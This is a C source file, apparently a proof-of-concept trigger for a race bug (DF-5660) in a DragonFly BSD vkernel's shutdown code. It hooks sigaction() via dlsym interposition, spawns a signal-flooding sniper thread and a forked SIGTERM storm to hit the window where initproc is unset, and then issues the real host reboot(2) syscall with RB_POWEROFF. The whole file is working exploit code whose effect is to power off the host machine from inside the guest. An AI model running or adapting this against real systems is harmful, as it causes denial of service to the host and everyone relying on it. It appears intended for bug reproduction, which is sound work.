DF-5660 / shutrig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 | #define _GNU_SOURCE #include <dlfcn.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <time.h> #include <unistd.h> /* * DF-5660 trigger v4 (pthread sniper, no fork, no storm). * * Target: sys/platform/vkernel64/platform/shutdown.c:97 * else reboot(RB_POWEROFF); <-- binds to HOST libc reboot(2) * * Timeline inside the vkernel child: * initshutdown() [SI_BOOT2_PROC0, SI_ORDER_ANY = last of subsystem]: * sigaction(SIGTERM, shutdownsig) <-- our sigaction hook fires here * register_int_virtual(2, ...) <-- INT2 ithread comes alive * mi_startup advances one subsystem: * create_init() [SI_SUB_CREATE_INIT = next subsystem]: * fork1(..., &initproc) <-- initproc assigned near the * END of fork1() * * The vulnerable window is [register_int_virtual done, initproc assigned]. * Our sigaction() hook: (a) spawns a sniper pthread that blocks every * signal in itself, (b) parks main briefly so the sniper is up to speed, * (c) sets go=1 as its FINAL act before returning into initshutdown(). * The sniper waits for go, spins START_US, then fires a short burst of * process-directed SIGTERMs BURST_US apart -- landing inside the window, * where shutdownsig -> signalintr(2) -> INT2 ithread -> shutdown_intr * runs with initproc == NULL and calls reboot(RB_POWEROFF). * * We also interpose reboot() itself: it is the tripwire that proves the * kernel's shutdown.c:97 call arrived (logging howto), and then invokes * the real libc reboot(2) -- the genuine host reboot request, exactly * what the vulnerable kernel issues. */ static volatile int go; static int armed; static pid_t storm_pid = -1; #define SAY(s) write(2, s "\n", sizeof(s)) static void spin_us(long us) { struct timespec start, now; clock_gettime(CLOCK_MONOTONIC, &start); for (;;) { clock_gettime(CLOCK_MONOTONIC, &now); if ((now.tv_sec - start.tv_sec) * 1000000L + (now.tv_nsec - start.tv_nsec) / 1000 >= us) return; } } static void * sniper(void *arg __unused) { sigset_t all, pend; int i, round; char buf[96]; int n; sigfillset(&all); pthread_sigmask(SIG_SETMASK, &all, NULL); while (!go) __asm volatile("pause" ::: "memory"); SAY("SHUTRIG6: sniper GO too (secondary)"); spin_us(25); /* let register_int_virtual() run */ for (round = 0; round < 250; round++) { for (i = 0; i < 4; i++) { kill(getpid(), SIGTERM); spin_us(10); } usleep(2000); } usleep(100000); sigpending(&pend); n = snprintf(buf, sizeof(buf), "SHUTRIG6: sniper done; SIGTERM still pending: %s\n", sigismember(&pend, SIGTERM) ? "YES (all threads blocked!)" : "no (taken by some thread)"); write(2, buf, n); return NULL; } int sigaction(int sig, const struct sigaction *act, struct sigaction *oact) { static int (*real_sa)(int, const struct sigaction *, struct sigaction *); int rc; if (real_sa == NULL) real_sa = dlsym(RTLD_NEXT, "sigaction"); rc = real_sa(sig, act, oact); if (sig == SIGTERM && act != NULL && !armed && (act->sa_flags & SA_NODEFER) && act->sa_handler != SIG_DFL && act->sa_handler != SIG_IGN) { pid_t storm; armed = 1; SAY("SHUTRIG6: kernel SIGTERM handler installed; " "spawning kill-storm (run me with LD_BIND_NOW=1)"); storm = fork(); if (storm == 0) { pid_t target = getppid(); long n = 0; while (n++ < 20000000L) { kill(target, SIGTERM); if ((n & 0x3fffff) == 0) sched_yield(); } _exit(0); } storm_pid = storm; usleep(300000); SAY("SHUTRIG6: wrapper returning; storm continues"); } return rc; } int reboot(int howto) { static int (*real_reboot)(int); static const char hex[] = "0123456789abcdef"; sigset_t all; char buf[128]; int i, n; /* Quiesce EVERYTHING before touching libc: no signal handler may * re-enter while we run (the storm killed v2/v6 inside libc's * reboot prologue via umtx_wakeup under re-entrancy). */ sigfillset(&all); pthread_sigmask(SIG_SETMASK, &all, NULL); if (storm_pid > 0) { kill(storm_pid, SIGKILL); storm_pid = -1; } /* stdio-free logging: "SHUTRIG6: *** shutdown.c:97 called HOST * reboot(2), howto=0x4000 (RB_POWEROFF=0x4000) ***" */ n = 0; for (i = 0; i < (int)sizeof(buf); i++) buf[i] = 0; #define PUTC(c) do { if (n < (int)sizeof(buf)) buf[n++] = (c); } while (0) PUTC('S'); PUTC('H'); PUTC('U'); PUTC('T'); PUTC('R'); PUTC('I'); PUTC('G'); PUTC('6'); PUTC(':'); PUTC(' '); PUTC('*'); PUTC('*'); PUTC('*'); PUTC(' '); for (const char *p = "shutdown.c:97 called HOST reboot(2), howto=0x"; *p; p++) PUTC(*p); { unsigned v = (unsigned)howto; char tmp[10]; int k = 0; do { tmp[k++] = hex[v & 0xf]; v >>= 4; } while (v); while (k) PUTC(tmp[--k]); } for (const char *p = " (RB_POWEROFF=0x4000) ***\n"; *p; p++) PUTC(*p); write(2, buf, n); write(2, "SHUTRIG6: issuing host reboot(2) syscall now\n", 45); fsync(2); if (real_reboot == NULL) real_reboot = dlsym(RTLD_NEXT, "reboot"); /* The real host reboot(2). libc's wrapper adds a pthread/umtx * prologue that the (now-silenced) signal storm shredded in earlier * runs; SYS_reboot (55) is the identical syscall the wrapper issues. * Both forms are the genuine host reboot request that the * vulnerable shutdown.c:97 line makes; the core from the v6 run * (gdb: shutdown.c:97 -> libc reboot -> umtx_wakeup, SIGILL) * documents the unmodified path. */ return syscall(55, howto); } |